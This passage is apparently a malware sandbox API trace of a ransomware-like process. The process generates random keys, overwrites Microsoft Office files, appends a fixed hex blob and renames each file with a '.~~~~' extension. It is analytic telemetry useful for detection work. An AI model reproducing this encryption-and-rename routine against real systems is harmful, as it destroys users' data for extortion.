	[0131.361] WriteFile (in: hFile=0x120, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x388e, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0x388e, lpOverlapped=0x0) returned 1
	[0131.363] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0131.363] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0131.364] WriteFile (in: hFile=0x120, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0131.364] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0131.364] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0131.364] CloseHandle (hObject=0x120) returned 1
	[0131.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x2a08dd0
	[0131.372] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\EADOCUMENTAPPROVAL_INIT.XSN" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eadocumentapproval_init.xsn"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\EADOCUMENTAPPROVAL_INIT.XSN.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eadocumentapproval_init.xsn.~~~~")) returned 1
	[0131.534] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a08dd0 | out: hHeap=0x300000) returned 1
	[0131.534] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0131.534] GetLastError () returned 0x0
	[0131.535] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2a11be0) returned 1
	[0131.536] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0131.536] CryptReleaseContext (hProv=0x2a11be0, dwFlags=0x0) returned 1
	[0131.536] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0131.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0131.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0131.536] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25152655219) returned 1
	[0131.537] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb7d8aa70, dwHighDateTime=0x1d60e1e)) 
	[0131.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0131.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0131.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0131.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2823720
	[0131.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0131.537] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2823720 | out: hHeap=0x300000) returned 1
	[0131.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0131.537] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0131.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cde40
	[0131.537] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0131.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc708
	[0131.537] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cde40 | out: hHeap=0x300000) returned 1
	[0131.537] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0131.537] GetLastError () returned 0x0
	[0131.538] GetLastError () returned 0x0
	[0131.538] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0131.538] GetLastError () returned 0x0
	[0131.538] GetLastError () returned 0x0
	[0131.540] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffff8f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.540] WriteFile (in: hFile=0x140, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x1f8fec0*=0x71, lpOverlapped=0x0) returned 1
	[0131.542] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0131.542] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0131.543] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0131.543] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0131.543] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0131.543] CloseHandle (hObject=0x140) returned 1
	[0131.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cde40
	[0131.543] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_k_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_k_col.hxk.~~~~")) returned 1
	[0131.545] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cde40 | out: hHeap=0x300000) returned 1
	[0131.545] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0131.545] GetLastError () returned 0x0
	[0131.546] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a1698) returned 1
	[0131.547] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0131.547] CryptReleaseContext (hProv=0x3a1698, dwFlags=0x0) returned 1
	[0131.547] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0131.547] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0131.547] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0131.547] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25153704570) returned 1
	[0131.547] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb7d8aa70, dwHighDateTime=0x1d60e1e)) 
	[0131.547] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0131.547] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0131.547] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0131.547] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2823758
	[0131.547] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0131.547] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2823758 | out: hHeap=0x300000) returned 1
	[0131.547] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0131.548] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0131.548] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cde40
	[0131.548] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0131.548] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb078
	[0131.548] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cde40 | out: hHeap=0x300000) returned 1
	[0131.548] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0131.548] GetLastError () returned 0x0
	[0131.548] GetLastError () returned 0x0
	[0131.548] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0131.549] GetLastError () returned 0x0
	[0131.549] GetLastError () returned 0x0
	[0131.553] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.553] WriteFile (in: hFile=0x140, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0131.556] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0131.556] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0131.556] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0131.558] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0131.558] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0131.558] CloseHandle (hObject=0x140) returned 1
	[0131.558] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc708
	[0131.558] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.hxs"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.hxs.~~~~")) returned 1
	[0131.560] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fc708 | out: hHeap=0x300000) returned 1
	[0131.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0131.561] GetLastError () returned 0x0
	[0131.562] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2a11be0) returned 1
	[0131.563] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0131.563] CryptReleaseContext (hProv=0x2a11be0, dwFlags=0x0) returned 1
	[0131.563] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0131.604] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0131.604] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0131.604] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25159417385) returned 1
	[0131.604] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb7e22ff0, dwHighDateTime=0x1d60e1e)) 
	[0131.604] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0131.604] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0131.604] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0131.604] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28237c8
	[0131.604] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0131.604] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28237c8 | out: hHeap=0x300000) returned 1
	[0131.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0131.605] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0131.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0131.605] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0131.605] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbcf0
	[0131.605] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0131.605] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0131.605] GetLastError () returned 0x0
	[0131.605] GetLastError () returned 0x0
	[0131.605] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0131.605] GetLastError () returned 0x0
	[0131.606] GetLastError () returned 0x0
	[0131.607] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffd93, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.608] WriteFile (in: hFile=0x140, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x26d, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0x26d, lpOverlapped=0x0) returned 1
	[0131.610] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0131.610] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0131.610] WriteFile (in: hFile=0x140, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0131.611] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0131.611] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0131.611] CloseHandle (hObject=0x140) returned 1
	[0131.612] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbcf0
	[0131.612] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxc"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxc.~~~~")) returned 1
	[0131.658] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fbcf0 | out: hHeap=0x300000) returned 1
	[0131.658] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0131.658] GetLastError () returned 0x0
	[0131.659] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a1720) returned 1
	[0131.661] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0131.661] CryptReleaseContext (hProv=0x3a1720, dwFlags=0x0) returned 1
	[0131.661] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0131.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0131.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0131.661] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25165153595) returned 1
	[0131.663] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb7ebb570, dwHighDateTime=0x1d60e1e)) 
	[0131.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0131.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0131.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0131.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2823918
	[0131.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0131.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2823918 | out: hHeap=0x300000) returned 1
	[0131.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0131.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0131.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0131.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0131.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc708
	[0131.664] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0131.664] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0131.664] GetLastError () returned 0x0
	[0131.664] GetLastError () returned 0x0
	[0131.664] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0131.664] GetLastError () returned 0x0
	[0131.664] GetLastError () returned 0x0
	[0131.666] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff814, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.667] WriteFile (in: hFile=0x120, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x7ec, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x1f8fec0*=0x7ec, lpOverlapped=0x0) returned 1
	[0131.669] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0131.669] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0131.669] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0131.669] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0131.670] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0131.670] CloseHandle (hObject=0x120) returned 1
	[0131.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc708
	[0131.670] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\floch.vrd"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\floch.vrd.~~~~")) returned 1
	[0131.672] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fc708 | out: hHeap=0x300000) returned 1
	[0131.672] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0131.672] GetLastError () returned 0x0
	[0131.673] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a1588) returned 1
	[0131.674] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0131.674] CryptReleaseContext (hProv=0x3a1588, dwFlags=0x0) returned 1
	[0131.674] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0131.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0131.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0131.675] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25166476545) returned 1
	[0131.675] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb7ee16d0, dwHighDateTime=0x1d60e1e)) 
	[0131.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0131.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0131.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0131.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2823950
	[0131.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0131.675] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2823950 | out: hHeap=0x300000) returned 1
	[0131.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0131.675] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0131.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3987f8
	[0131.675] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0131.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc708
	[0131.675] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3987f8 | out: hHeap=0x300000) returned 1
	[0131.675] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0131.676] GetLastError () returned 0x0
	[0131.676] GetLastError () returned 0x0
